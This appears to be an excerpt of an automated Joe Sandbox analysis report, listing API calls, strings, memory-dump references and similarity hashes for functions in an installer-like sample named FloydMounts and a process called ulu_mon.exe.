lstrlenW.KERNEL32(00451D98,%u.%u%s%s,?,00000000,00000000,?,FFFFFFDC,00000000,?,000000DF,00451D98,?), ref: 00404476
wsprintfW.USER32 ref: 00404483
SetDlgItemTextW.USER32(?,00451D98,000000DF), ref: 00404496

Strings

%u.%u%s%s, xrefs: 00404470

Memory Dump Source

Source File: 00000000.00000002.1662975407.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1662957220.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1663004750.0000000000409000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1663022273.000000000040C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1663022273.0000000000420000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1663022273.000000000042C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1663022273.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1663022273.000000000046B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1663336351.0000000000500000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_FloydMounts.jbxd

Similarity

API ID: ItemTextlstrlenwsprintf
String ID: %u.%u%s%s
API String ID: 3540041739-3551169577
Opcode ID: a810ffe09f2dc908503b2f58e47bd406bb4654f19e43ddd30bdf0acdc5011288
Instruction ID: 019992b557dc20c415266b5889428492ee6a52d86c3b4952972254649920ef77
Opcode Fuzzy Hash: a810ffe09f2dc908503b2f58e47bd406bb4654f19e43ddd30bdf0acdc5011288
Instruction Fuzzy Hash: DC11527270021477CF10AA699D45F9E765EEBC5334F10423BF519F31E1D6388A158259

Function 004027E3 Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 60registryCOMMON

Download Yara Rule

APIs

Part of subcall function 00401553: RegOpenKeyExW.ADVAPI32(?,00000000,00000022,00000000,?,?), ref: 0040158B

RegCloseKey.ADVAPI32(00000000), ref: 0040282E
RegDeleteValueW.ADVAPI32(00000000,00000000,00000033), ref: 0040280E

Part of subcall function 004062CF: lstrlenW.KERNEL32(RMDir: RemoveDirectory invalid input(""),00406EA5,RMDir: RemoveDirectory("%s"),?,?,?), ref: 004062DC
Part of subcall function 004062CF: wvsprintfW.USER32(00000000,?,?), ref: 004062F3

Strings

DeleteRegValue: "%s\%s" "%s", xrefs: 00402820
DeleteRegKey: "%s\%s", xrefs: 00402843

Memory Dump Source

Source File: 00000000.00000002.1662975407.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1662957220.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1663004750.0000000000409000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1663022273.000000000040C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1663022273.0000000000420000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1663022273.000000000042C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1663022273.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1663022273.000000000046B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1663336351.0000000000500000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_FloydMounts.jbxd

Similarity

API ID: CloseDeleteOpenValuelstrlenwvsprintf
String ID: DeleteRegKey: "%s\%s"$DeleteRegValue: "%s\%s" "%s"
API String ID: 1697273262-1764544995
Opcode ID: 1c7787f783619d22a727722e8428d119ca1e8f511c7c384e8364c1fbbf216132
Instruction ID: 70287f52249eeba914cab3bee2f8f529b2cd5257afac1a85b0186071c419a2a5
Opcode Fuzzy Hash: 1c7787f783619d22a727722e8428d119ca1e8f511c7c384e8364c1fbbf216132
Instruction Fuzzy Hash: 2511E732E00200ABDB10FFA5DD4AABE3A64EF40354F10403FF50AB61D2D6798E50C6AD

Function 00402665 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 56stringCOMMON

Download Yara Rule

APIs

Part of subcall function 004062CF: lstrlenW.KERNEL32(RMDir: RemoveDirectory invalid input(""),00406EA5,RMDir: RemoveDirectory("%s"),?,?,?), ref: 004062DC
Part of subcall function 004062CF: wvsprintfW.USER32(00000000,?,?), ref: 004062F3

Part of subcall function 00406301: FindFirstFileW.KERNELBASE(00461E18,00466A20,00461E18,004067FA,00461E18), ref: 0040630C
Part of subcall function 00406301: FindClose.KERNEL32(00000000), ref: 00406318

lstrlenW.KERNEL32 ref: 004026B4
lstrlenW.KERNEL32(00000000), ref: 004026C1
SHFileOperationW.SHELL32(?,?,?,00000000), ref: 004026EC

Strings

CopyFiles "%s"->"%s", xrefs: 0040267F

Memory Dump Source

Source File: 00000000.00000002.1662975407.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1662957220.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1663004750.0000000000409000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1663022273.000000000040C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1663022273.0000000000420000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1663022273.000000000042C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1663022273.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1663022273.000000000046B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1663336351.0000000000500000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_FloydMounts.jbxd

Similarity

API ID: lstrlen$FileFind$CloseFirstOperationwvsprintf
String ID: CopyFiles "%s"->"%s"
API String ID: 2577523808-3778932970
Opcode ID: 0c98d155eaf4bf30867e20e2ef9323f8e108a065a1149d83459e1735f252947f
Instruction ID: 7c1d43f40acf3f33c375e3424532232737b5c7d4dc38a4161669d523a66d0fcf
Opcode Fuzzy Hash: 0c98d155eaf4bf30867e20e2ef9323f8e108a065a1149d83459e1735f252947f
Instruction Fuzzy Hash: 8A114F71D00214AADB10FFF6984699FBBBCAF44354B10843BA502F72D2E67989418759

Function 00406250 Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 53stringCOMMON

Download Yara Rule

APIs

wsprintfW.USER32 ref: 004062A4
lstrcatW.KERNEL32(00000000,...), ref: 004062C7

Strings

%02x%c, xrefs: 0040629C
..., xrefs: 004062BF

Memory Dump Source

Source File: 00000000.00000002.1662975407.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1662957220.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1663004750.0000000000409000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1663022273.000000000040C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1663022273.0000000000420000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1663022273.000000000042C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1663022273.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1663022273.000000000046B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1663336351.0000000000500000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_FloydMounts.jbxd

Similarity

API ID: lstrcatwsprintf
String ID: %02x%c$...
API String ID: 3065427908-1057055748
Opcode ID: e028bc25539a6ddd5d675d42839d030ce8218c39fe920002d96002040e934ce0
Instruction ID: 9bf571533c0fd83e5fe1ff618cfd19ea7d9613251e6e948213dceada22d50e27
Opcode Fuzzy Hash: e028bc25539a6ddd5d675d42839d030ce8218c39fe920002d96002040e934ce0
Instruction Fuzzy Hash: E201D272510219BFCB01DF98CC44A9EBBB9EF84714F20817AF806F3280D2799EA48794

Function 00405073 Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 41comCOMMON

Download Yara Rule

APIs

OleInitialize.OLE32(00000000), ref: 00405083

Part of subcall function 00403DDB: SendMessageW.USER32(?,?,00000000,00000000), ref: 00403DED

OleUninitialize.OLE32(00000404,00000000), ref: 004050D1

Part of subcall function 004062CF: lstrlenW.KERNEL32(RMDir: RemoveDirectory invalid input(""),00406EA5,RMDir: RemoveDirectory("%s"),?,?,?), ref: 004062DC
Part of subcall function 004062CF: wvsprintfW.USER32(00000000,?,?), ref: 004062F3

Strings

Skipping section: "%s", xrefs: 004050E1
Section: "%s", xrefs: 004050A5

Memory Dump Source

Source File: 00000000.00000002.1662975407.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1662957220.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1663004750.0000000000409000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1663022273.000000000040C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1663022273.0000000000420000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1663022273.000000000042C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1663022273.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1663022273.000000000046B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1663336351.0000000000500000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_FloydMounts.jbxd

Similarity

API ID: InitializeMessageSendUninitializelstrlenwvsprintf
String ID: Section: "%s"$Skipping section: "%s"
API String ID: 2266616436-4211696005
Opcode ID: 08831c163c79f6045eee3939d78ed76b32885a7039adc7eb93c092c170fa4538
Instruction ID: 3a4ae3dd184d198318ece42e1af7a5bc75ccdc2bd7a030bb5b2a43e0dda7b67b
Opcode Fuzzy Hash: 08831c163c79f6045eee3939d78ed76b32885a7039adc7eb93c092c170fa4538
Instruction Fuzzy Hash: 0EF0F433504300ABE7106766AC02B1A7BA0EF84724F25017FFA09721E2DB7928418EAD

Function 004020F9 Relevance: 6.0, APIs: 4, Instructions: 45COMMON

Download Yara Rule

APIs

GetDC.USER32(?), ref: 00402100
GetDeviceCaps.GDI32(00000000), ref: 00402107
MulDiv.KERNEL32(00000000,00000000), ref: 00402117

Part of subcall function 00406831: GetVersion.KERNEL32(00445D80,?,00000000,00404FD5,00445D80,00000000,00424579,74DF23A0,00000000), ref: 00406902

CreateFontIndirectW.GDI32(00420110), ref: 0040216A

Part of subcall function 00405F7D: wsprintfW.USER32 ref: 00405F8A

Memory Dump Source

Source File: 00000000.00000002.1662975407.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1662957220.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1663004750.0000000000409000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1663022273.000000000040C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1663022273.0000000000420000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1663022273.000000000042C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1663022273.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1663022273.000000000046B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1663336351.0000000000500000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_FloydMounts.jbxd

Similarity

API ID: CapsCreateDeviceFontIndirectVersionwsprintf
String ID:
API String ID: 1599320355-0
Opcode ID: 5e7bfe574d04e9302ce96a75028483347f8e754cab2f6e4722de83d8c32547a7
Instruction ID: 0ba792ce9c48b24537a9dfec97a4105c0a721b5be590283e64661935fd66df2d
Opcode Fuzzy Hash: 5e7bfe574d04e9302ce96a75028483347f8e754cab2f6e4722de83d8c32547a7
Instruction Fuzzy Hash: B6018872B042509FF7119BB4BC4ABAA7BE4A715315F504436F141F61E3CA7D4411C72D

Function 00407224 Relevance: 6.0, APIs: 3, Strings: 1, Instructions: 43stringCOMMON

Download Yara Rule

APIs

Part of subcall function 00406EFE: CreateFileW.KERNEL32(?,80000000,00000001,00000000,00000003,00000080,00000000), ref: 00406F22

lstrcpynW.KERNEL32(?,?,00000009), ref: 00407265
lstrcmpW.KERNEL32(?,Version ), ref: 00407276
lstrcpynW.KERNEL32(?,?,?), ref: 0040728D

Strings

Version , xrefs: 0040726D

Memory Dump Source

Source File: 00000000.00000002.1662975407.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1662957220.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1663004750.0000000000409000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1663022273.000000000040C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1663022273.0000000000420000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1663022273.000000000042C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1663022273.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1663022273.000000000046B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1663336351.0000000000500000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_FloydMounts.jbxd

Similarity

API ID: lstrcpyn$CreateFilelstrcmp
String ID: Version
API String ID: 512980652-315105994
Opcode ID: e08784de301d9fe6ca80962c3bdf8726d1c794b972164068317a4e691a2db981
Instruction ID: f6016284c167eb8c93e4c4d2cd91337f160ffdcdaea293fd9af5b6974d265005
Opcode Fuzzy Hash: e08784de301d9fe6ca80962c3bdf8726d1c794b972164068317a4e691a2db981
Instruction Fuzzy Hash: 74F08172A0021CBBDF109BA5DD45EEA777CAB44700F000076F600F6191E2B5AE148BA1

Function 004032D2 Relevance: 6.0, APIs: 4, Instructions: 33COMMON

Download Yara Rule

APIs

DestroyWindow.USER32(00000000,00000000,0040372F,00000001,?,?,?,00000000,00403A73,?), ref: 004032E5
GetTickCount.KERNEL32 ref: 00403303
CreateDialogParamW.USER32(0000006F,00000000,0040324C,00000000), ref: 00403320
ShowWindow.USER32(00000000,00000005,?,?,?,00000000,00403A73,?), ref: 0040332E

Memory Dump Source

Source File: 00000000.00000002.1662975407.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1662957220.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1663004750.0000000000409000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1663022273.000000000040C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1663022273.0000000000420000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1663022273.000000000042C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1663022273.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1663022273.000000000046B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1663336351.0000000000500000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_FloydMounts.jbxd

Similarity

API ID: Window$CountCreateDestroyDialogParamShowTick
String ID:
API String ID: 2102729457-0
Opcode ID: 20fc2252fa4e8cade60f22cfb8dff2eb59aca0eba7377cdae62c8c9885b14618
Instruction ID: 7080548a0c715e844c944b711630a30770084a0de0adb1936a850f0acfbe0ad2
Opcode Fuzzy Hash: 20fc2252fa4e8cade60f22cfb8dff2eb59aca0eba7377cdae62c8c9885b14618
Instruction Fuzzy Hash: 76F05E30541220BBC620AF24FD89AAF7F68B705B1274008BAF405B11A6C7384D92CFDC

Function 00406391 Relevance: 6.0, APIs: 4, Instructions: 31memorylibraryloaderCOMMON

Download Yara Rule

APIs

GlobalAlloc.KERNEL32(00000040,00002004,00000000,?,?,00402449,?,?,?,00000008,00000001,000000F0), ref: 0040639C
WideCharToMultiByte.KERNEL32(00000000,00000000,?,000000FF,00000000,00002004,00000000,00000000,?,?,00402449,?,?,?,00000008,00000001), ref: 004063B2
GetProcAddress.KERNEL32(?,00000000), ref: 004063C1
GlobalFree.KERNEL32(00000000), ref: 004063CA

Memory Dump Source

Source File: 00000000.00000002.1662975407.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1662957220.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1663004750.0000000000409000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1663022273.000000000040C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1663022273.0000000000420000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1663022273.000000000042C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1663022273.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1663022273.000000000046B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1663336351.0000000000500000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_FloydMounts.jbxd

Similarity

API ID: Global$AddressAllocByteCharFreeMultiProcWide
String ID:
API String ID: 2883127279-0
Opcode ID: cfe0beae58ad61bea83a9ac8add919dc7b7c61ebe1ef4fe2e37f024ea1666988
Instruction ID: 23858f5f5f858bd20c6f81bae205610dc5c3869b82bfcacec746ad73dc06cfd6
Opcode Fuzzy Hash: cfe0beae58ad61bea83a9ac8add919dc7b7c61ebe1ef4fe2e37f024ea1666988
Instruction Fuzzy Hash: 82E092313001117BF2101B269D8CD677EACDBCA7B2B05013AF645E11E1C6308C10C674

Function 004048F8 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 58windowCOMMON

Download Yara Rule

APIs

IsWindowVisible.USER32(?), ref: 0040492E
CallWindowProcW.USER32(?,00000200,?,?), ref: 0040499C

Part of subcall function 00403DDB: SendMessageW.USER32(?,?,00000000,00000000), ref: 00403DED

Strings

, xrefs: 00404906

Memory Dump Source

Source File: 00000000.00000002.1662975407.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1662957220.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1663004750.0000000000409000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1663022273.000000000040C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1663022273.0000000000420000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1663022273.000000000042C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1663022273.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1663022273.000000000046B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1663336351.0000000000500000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_FloydMounts.jbxd

Similarity

API ID: Window$CallMessageProcSendVisible
String ID:
API String ID: 3748168415-3916222277
Opcode ID: c170883d227fca0112a12e156e2c8e9ea80fa6a38e1ecce58c6b14ca94f7736c
Instruction ID: 3c1fd1ddb59456d7d2ea24cd553691e7f5dd8d926ac1a383129e0726a186868e
Opcode Fuzzy Hash: c170883d227fca0112a12e156e2c8e9ea80fa6a38e1ecce58c6b14ca94f7736c
Instruction Fuzzy Hash: CE118FF1500209ABDF115F65DC44EAB776CAF84365F00803BFA04761A2C37D8D919FA9

Function 00402797 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 25stringCOMMON

Download Yara Rule

APIs

GetPrivateProfileStringW.KERNEL32(00000000,00000000,?,?,00002003,00000000), ref: 004027CD
lstrcmpW.KERNEL32(?,?,?,00002003,00000000,000000DD,00000012,00000001), ref: 004027D8

Strings

!N~, xrefs: 00402797

Memory Dump Source

Source File: 00000000.00000002.1662975407.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1662957220.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1663004750.0000000000409000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1663022273.000000000040C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1663022273.0000000000420000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1663022273.000000000042C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1663022273.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1663022273.000000000046B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1663336351.0000000000500000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_FloydMounts.jbxd

Similarity

API ID: PrivateProfileStringlstrcmp
String ID: !N~
API String ID: 623250636-529124213
Opcode ID: 07e0e1e700d966a463b53d73ca6f39700f71f89c173b529fa76a4fed3a8722df
Instruction ID: 1025b72e91f13a3121db677028adcce723ab2f3f19a12cbdb86f5280e69f3e4e
Opcode Fuzzy Hash: 07e0e1e700d966a463b53d73ca6f39700f71f89c173b529fa76a4fed3a8722df
Instruction Fuzzy Hash: 14E0C0716002086AEB01ABA1DD89DAE7BACAB45304F144426F601F71E3E6745D028714

Function 00405C6B Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 24processCOMMON

Download Yara Rule

APIs

CreateProcessW.KERNEL32(00000000,?,00000000,00000000,00000000,00000000,00000000,00000000,00461DD0,Error launching installer), ref: 00405C90
CloseHandle.KERNEL32(?), ref: 00405C9D

Strings

Error launching installer, xrefs: 00405C74

Memory Dump Source

Source File: 00000000.00000002.1662975407.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1662957220.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1663004750.0000000000409000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1663022273.000000000040C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1663022273.0000000000420000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1663022273.000000000042C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1663022273.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1663022273.000000000046B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1663336351.0000000000500000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_FloydMounts.jbxd

Similarity

API ID: CloseCreateHandleProcess
String ID: Error launching installer
API String ID: 3712363035-66219284
Opcode ID: d7e07479a26add6e139fb42e4e519ed4ce81f94bdda572b5be1add7e8fe8fde5
Instruction ID: 058e85fc593d498414a6a643ff83d14e048665682532f700ab3f6144ed6d8858
Opcode Fuzzy Hash: d7e07479a26add6e139fb42e4e519ed4ce81f94bdda572b5be1add7e8fe8fde5
Instruction Fuzzy Hash: A4E0ECB0900209AFEB009F65DD09E7B7BBCEB00384F084426AD10E2161E778D8148B69

Function 004062CF Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 13stringCOMMON

Download Yara Rule

APIs

lstrlenW.KERNEL32(RMDir: RemoveDirectory invalid input(""),00406EA5,RMDir: RemoveDirectory("%s"),?,?,?), ref: 004062DC
wvsprintfW.USER32(00000000,?,?), ref: 004062F3

Part of subcall function 00406113: CloseHandle.KERNEL32(FFFFFFFF,00000000,?,?,00406300,00000000), ref: 0040612A

Strings

RMDir: RemoveDirectory invalid input(""), xrefs: 004062D1, 004062D6

Memory Dump Source

Source File: 00000000.00000002.1662975407.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1662957220.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1663004750.0000000000409000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1663022273.000000000040C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1663022273.0000000000420000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1663022273.000000000042C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1663022273.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1663022273.000000000046B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1663336351.0000000000500000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_FloydMounts.jbxd

Similarity

API ID: CloseHandlelstrlenwvsprintf
String ID: RMDir: RemoveDirectory invalid input("")
API String ID: 3509786178-2769509956
Opcode ID: db8d081d013b9790c932ab277b4a3a99312fd955ab88a80e97be1a4fe9473cae
Instruction ID: 2c5812d3804eb93f93713fa8b891b4ce654538dc852139f9e16b4ff69120e8c2
Opcode Fuzzy Hash: db8d081d013b9790c932ab277b4a3a99312fd955ab88a80e97be1a4fe9473cae
Instruction Fuzzy Hash: 93D05E34A50206BADA009FE1FE29E597764AB84304F400869F005890B1EA74C4108B0E

Function 00405DE2 Relevance: 5.0, APIs: 4, Instructions: 37stringCOMMON

Download Yara Rule

APIs

lstrlenA.KERNEL32(00000000,?,00000000,00000000,?,00000000,00406BFF,00000000,[Rename]), ref: 00405DF2
lstrcmpiA.KERNEL32(?,?), ref: 00405E0A
CharNextA.USER32(?,?,00000000,00406BFF,00000000,[Rename]), ref: 00405E1B
lstrlenA.KERNEL32(?,?,00000000,00406BFF,00000000,[Rename]), ref: 00405E24

Memory Dump Source

Source File: 00000000.00000002.1662975407.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1662957220.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1663004750.0000000000409000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1663022273.000000000040C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1663022273.0000000000420000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1663022273.000000000042C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1663022273.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1663022273.000000000046B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1663336351.0000000000500000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_FloydMounts.jbxd

Similarity

API ID: lstrlen$CharNextlstrcmpi
String ID:
API String ID: 190613189-0
Opcode ID: 6101864ab16567e6bb9a2a5d9c8424f3785a5e6dd51bc724eb4dc87483e37eb4
Instruction ID: 6c750b41c95b6ea6b2c0dd9449a28e86abc919c298eb75f697d1220529daba74
Opcode Fuzzy Hash: 6101864ab16567e6bb9a2a5d9c8424f3785a5e6dd51bc724eb4dc87483e37eb4
Instruction Fuzzy Hash: 95F0CD31205558FFCB019FA9DC0499FBBA8EF5A350B2544AAE840E7321D234DE019BA4

Analysis Process: ulu_mon.exePID: 5628, Parent PID: 6876COMMON

Execution Graph

Execution Coverage:	29.6%
Dynamic/Decrypted Code Coverage:	0%
Signature Coverage:	5.6%
Total number of Nodes:	143
Total number of Limit Nodes:	7

Executed Functions

Function 00528379 Relevance: 1.6, APIs: 1, Instructions: 123
nativeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 00528319: GlobalAlloc.KERNELBASE(00000000,00000000,00000000), ref: 00528349

NtQuerySystemInformation.NTDLL(00000005,00000000,00040000,00040000), ref: 005283DD

Memory Dump Source

Source File: 0000002F.00000002.3155031336.0000000000526000.00000020.00000001.01000000.0000000D.sdmp, Offset: 00526000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_47_2_526000_ulu_mon.jbxd

Similarity

API ID: AllocGlobalInformationQuerySystem
String ID:
API String ID: 3737350999-0
